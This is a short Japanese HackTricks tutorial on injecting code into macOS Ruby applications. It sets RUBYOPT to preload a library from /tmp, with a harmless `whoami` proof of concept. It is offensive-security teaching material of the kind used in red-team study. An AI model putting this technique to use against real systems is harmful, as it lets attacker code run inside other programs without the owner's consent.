macOS Ruby Applications Injection

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!

HackTricksをサポートする他の方法:

RUBYOPT

この環境変数を使用すると、rubyが実行されるたびに新しいパラメーターを追加することができます。パラメーター**-eは実行するrubyコードを指定するために使用できませんが、-I-rのパラメーターを使用して、ライブラリのロードパスに新しいフォルダを追加し、その後でロードするライブラリを指定**することが可能です。

**/tmpにライブラリinject.rb**を作成します:

inject.rb
puts `whoami`

次に、任意のrubyスクリプトでそれを読み込むには:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

面白い事実ですが、パラメータ --disable-rubyopt を使用しても機能します:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!

HackTricksをサポートする他の方法:

Last updated